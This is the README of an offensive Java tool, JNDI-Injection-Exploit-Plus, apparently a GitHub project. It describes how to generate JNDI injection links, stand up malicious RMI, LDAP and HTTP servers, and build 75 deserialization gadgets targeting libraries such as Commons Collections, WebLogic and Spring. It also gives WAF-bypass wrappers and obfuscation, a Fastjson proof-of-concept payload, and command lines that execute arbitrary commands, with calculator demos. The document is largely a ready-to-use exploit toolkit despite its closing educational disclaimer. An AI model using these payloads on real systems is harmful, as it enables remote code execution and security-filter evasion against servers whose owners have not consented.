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JNDI-Injection-Exploit-Plus

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Description

JNDI-Injection-Exploit-Plus is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server.

Using this tool allows you get JNDI links, you can insert these links into your POC to test vulnerability.

For example, this is a Fastjson vul-poc:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

We can replace "rmi://127.0.0.1:1099/Object" with the link generated by JNDI-Injection-Exploit-Plus to test vulnerability.

What's more, you can also use JNDI-Injection-Exploit-Plus to generate base64/hex type of payloads like ysoserial

More than JNDI-Injection-Exploit

JNDI-Injection-Exploit is a great tool, this is the plus version of it.

What's more

1. More JNDI Remote Reference Gadget: (total: 3)

2. More JNDI Local Reference Gadget: (total: 4)

Payloadauthordependencies
Tomcat 8+ or SpringBoot@welk1ntrustURLCodebase is false but have Tomcat 8+ or SpringBoot 1.2.x+ in classpath
Groovy (GroovyClassLoader)@cckuailongtrustURLCodebase is false but have Tomcat and Groovy in classpath
Groovy (GroovyShell)@cckuailongtrustURLCodebase is false but have Tomcat and Groovy in classpath
Websphere Readfile@cckuailongtrustURLCodebase is false but have WebSphere v6-v9 in classpath

3. Deserailization Gadget (total: 75)

P.S. More Gadgets (:arrow_up: ) than ysoserial, welcome to PR more! ^_^

payloadauthordependencies
AspectJWeaver@Jangaspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1@pwntester, @cschneider4711bsh:2.0b5
C3P0@mbechlerc3p0:0.9.5.2, mchange-commons-java:0.2.11
C3P0Tomcat@yulegeyutomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11
Click1@artsploitclick-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure@JackOfMostTradesclojure:1.8.0
Coherence1 :arrow_up:@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence2 :arrow_up:@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence3 :arrow_up:@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence4 :arrow_up:@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence5 :arrow_up:@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence6 :arrow_up:@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
CommonsBeanutils1@frohoffcommons-beanutils:1.9.2
CommonsBeanutils2 :arrow_up:@cckuailongcommons-beanutils:1.9.2
CommonsCollections1@frohoffcommons-collections:3.1
CommonsCollections1_1 :arrow_up:@cckuailongcommons-collections:3.1
CommonsCollections2@frohoffcommons-collections4:4.0
CommonsCollections2_1 :arrow_up:@cckuailongcommons-collections4:4.0
CommonsCollections3@frohoffcommons-collections:3.1
CommonsCollections3_1 :arrow_up:@cckuailongcommons-collections:3.1
CommonsCollections4@frohoffcommons-collections4:4.0
CommonsCollections5@matthias_kaiser, @jasinnercommons-collections:3.1
CommonsCollections5_1 :arrow_up:@cckuailongcommons-collections:3.1
CommonsCollections6@matthias_kaisercommons-collections:3.1
CommonsCollections6_1 :arrow_up:@cckuailongcommons-collections:3.1
CommonsCollections6_2 :arrow_up:@cckuailongcommons-collections:3.1
CommonsCollections6_3 :arrow_up:@cckuailongcommons-collections:3.1
CommonsCollections7@scristalli, @hanyrax, @EdoardoVignaticommons-collections:3.1
CommonsCollections7_1 :arrow_up:@cckuailongcommons-collections:3.1
CommonsCollections8 :arrow_up:@cckuailongcommons-collections4:4.0
CommonsCollections9 :arrow_up:@cckuailongcommons-collections:3.2.1
CommonsCollections10 :arrow_up:@cckuailongcommons-collections:3.2.1
CommonsCollections11 :arrow_up:@cckuailongcommons-collections:3.1
FileUpload1@mbechlercommons-fileupload:1.3.1, commons-io:2.4
Groovy1@frohoffgroovy:2.3.9
Hibernate1@mbechler
Hibernate2@mbechler
Jackson :arrow_up:@y4ercom.fasterxml.jackson.core:jackson-databind:2.14.2
JBossInterceptors1@matthias_kaiserjavassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21@frohoff
JRMPClient1@mbechler
JRMPClient2 :arrow_up:@cckuailong
JRMPClient3 :arrow_up:@cckuailong
JRMPClient4 :arrow_up:@cckuailong
JRMPClient5 :arrow_up:@cckuailong
JRMPClient6 :arrow_up:@cckuailong
JRMPListener1@cckuailong
JSON1@mbechlerjson-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1@matthias_kaiserjavassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jython1@pwntester, @cschneider4711jython-standalone:2.5.2
MozillaRhino1@matthias_kaiserjs:1.7R2
MozillaRhino2@_tint0js:1.7R2
Myfaces1@mbechler
Myfaces2@mbechler
ROME1@mbechlerrome:1.0
ROME2 :arrow_up:@firebaskyrome:1.0
Scala1 :arrow_up:@jarijorg.scala-lang:scala-library:2.13.x
Spring1@frohoffspring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2@mbechlerspring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
Spring3 :arrow_up:@cckuailongspring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
URLDNS@gebljre only vuln detect
Vaadin1@kai_ullrichvaadin-server:7.7.14, vaadin-shared:7.7.14
Weblogic1 :arrow_up:@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic2 :arrow_up:@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic3 :arrow_up:@cckuailongcom.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
Weblogic4 :arrow_up:@cckuailongweblogic.common.internal.WLObjectOutputStream
Weblogic5 :arrow_up:@cckuailongweblogic:12.2.1.4, coherence
Weblogic6 :arrow_up:@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic7 :arrow_up:@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic8 :arrow_up:@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic9 :arrow_up:@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic10 :arrow_up:@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic11 :arrow_up:@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Wicket1@jacob-baineswicket-util:6.23.0, slf4j-api:1.6.4
WildFly1 :arrow_up:@hugoworg.wildfly:wildfly-connector:26.0.1.Final

4. generate and export payloads

Like ysoserial.

You can generate the deserialization payloads with Base64 or HEX type of output

5. Wrapper

Some Wrappers to wrap Deserial Data.

WrapperExample Vuls
XstreamCVE-2021-39149
ApereoApereo 4.1 Deserialization RCE
JbossRemotingJboss Remoting Port Unserialization
GzipSome yonyou interface use Gzip
DirtyInsert a lot of dirty data to bypass WAF
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. Fusion

Hide class name to bypass WAF.

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

Reference: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

Web service to return Deserial Gadgets

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}output={base64/hex}

P.S. Param wrapper & output is opetional

Usage

JNDI Links

Run as

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]

where:

Points for attention:

Deserialization Payloads

Run as

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]

where:

Deserialization Exploits

JRMP

java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

Examples

JNDI Links

Local demo:

  1. Start the tool like this:

    $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
    

    Screenshot:

  2. Assume that we inject the JNDI links like rmi://ADDRESS/remoteExploit8 generated in step 1 to a vulnerable application which can be attacked by JNDI injection.

    In this example, it looks like this:

    class Test{
        public static void main(String[] args) throws Exception{
            InitialContext ctx = new InitialContext();
            ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
        }
    }
    

    then when we run this code, the command will be executed ,

    and the log will be printed in shell:

For More Examples: Test-JNDI-Injection-Exploit-Plus

Deserialization Payloads

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Base64 Output Result:

Installation

We can select one of the two methods to get the jar.

  1. Download the latest jar from Realease.

  2. Clone the source code to local and build (Requires Java 1.8+ and Maven 3.x+).

    $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
    
    $ cd JNDI-Injection-Exploit-Plus
    
    $ mvn clean package -DskipTests
    

P.S. :bangbang: If you get the error like "java.rmi.xxx does not exists", you should set the JAVA_HOME env.

Disclaimer

All information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities.